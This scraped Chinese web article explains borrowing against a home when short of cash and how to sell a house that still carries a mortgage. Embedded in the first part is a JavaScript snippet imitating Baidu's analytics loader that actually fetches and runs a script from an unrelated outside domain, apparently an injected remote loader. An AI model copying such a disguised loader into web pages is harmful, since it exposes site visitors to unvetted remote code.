缺乏周转资金的时候有房可以贷款吗

日常生活中经常会出现手头吃紧，资金周转不过来的情况，这时候就会相应的考虑贷款来帮忙。而贷款，最先想到的就是银行，那种网贷是不推荐的。有房可以贷款吗？答案是不一定。需要分几个情况来讲有房可以贷款吗的问题。 可以抵押的房屋包含商品房（能上市出售的）、标准生产厂房、商住楼等。其中常见的是商品房，作为住房进行抵押的时候必须满足三证齐全（房产证,土地使用证,契证），房龄不宜过大（一般不超过20年），面积要大于60㎡。 如果是小产权房，那么有房可以贷款吗？答案不可以的，这种类型的房子在市场上无法流通，不能进入市场流通，因为没有国家颁发的土地使用证和预售许可证只有购房合同是不能在房管局备案。如果是按揭房，那么有房可以贷款吗？按揭房在部分银行是可以贷款，需要参考当地银行政策，相当于是名下的房产抵押给银行申请的信用贷，银行则会根据房产价值去除贷款余额，剩余的资金额度给客户做贷款使用。 如果是想尽量贷到比较额度的贷款，建议尽量向银行提供能证明资金财力的依旧，比如其他房产资料、稳定收入、职业、学历、家庭关系等等。 除去银行，一些网贷机构也是可以贷款的，并且对客户的信用要求较低，因此利息也高。有的贷款机构，会打着银行贷款的名义吸引客户。甚至有不法网贷产生利滚利的可怕现象，大家在贷款的时候一定擦亮眼睛，选择正规的贷款机构。所以有人问有房可以贷款吗？这些贷款机构不了解您的情况就会回答可以贷款，并且可能会降您的信息二次倒卖，对正常生活产生极大的影响。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

贷款买的房子能卖吗

大部分人手里的房子都是通过贷款购买的，贷款的年限可能是十年或二十年甚至是三十年，时间非常的长。后来因为房屋价格上涨或是个人经济因素、工作调动等等，所以有些人想要将自己名下的房子给卖出去，但此时房子的贷款并没有还请，还处于还款的阶段，这就说明该套房产并不是真正的属于自己的，有些人担心不能卖。那么，贷款买的房子能卖吗?贷款买的房子能卖吗？首先要确定是否有房产证。二手房交易以房产证为准，有了房产证才可以上市交易。如果房产未拿到产权证，就不能办理过户手续，也就不能进行房屋的买卖。理论上说，还未还清贷款的房子还处于抵押状态，是不能上市交易的，但是，在现实中，我们可以通过一些方法来实现。用买方的首付款缴清剩余贷款这是当下二手房交易中最多应用的模式。这种模式适用于原房主贷款额度较低或者原房主已经归还大部分贷款,所剩贷款数目不大的情况。通常情况下,买家会认可首付房产总成交额的30%至40%,卖方可以利用买方的首付将剩余贷款付清,然后撤销房产的抵押登记,来进行下一步交易。用银行贷款来缴清剩余房贷卖家还可以考虑用其名下的抵押物(如其他房产),以结清按揭贷款。如果卖方想在卖出房产之前将贷款还清或买方虽然看好但不愿意购买贷款未缴清的房产,可以采取这种方式,但前提是房主有银行认可的抵押物(如其他房产)用来向银行申请贷款。这样房主就可以通过抵押物向银行贷款来付清想要出售的房子的贷款,交易成功之后等买家付了房屋全款之后再还清银行抵押贷款。转按揭转按揭是最简单直接的一种方法。什么是转按揭呢?通俗的讲就是把个人住房出售或者转让给第三人来办理个人住房贷款变更借款期限、变更借款人或变更抵押物的贷款。但在实际操作中,不同银行有不同规定,具体还需要咨询相关的银行方面。但是二手房转按揭业务银行一般不接待个人办理申请，所以需要委托中介代理公司向银行方面申请转按揭事宜。贷款买的房子能卖吗?只要贷款的房子是有房产证了的，那么就可以卖了的，没有房产证的话房子不能够出售，这点大家要能够分清楚。想要将孩子贷款的房子给卖出去的话，必须要结合房屋的实际情况，要是你不知道自己房屋的状况又想要卖房的话，不妨找个房屋中介公司好好咨询下，咨询后才能够知道你手里的房屋能不能卖，这样房屋卖出去才会比较正规。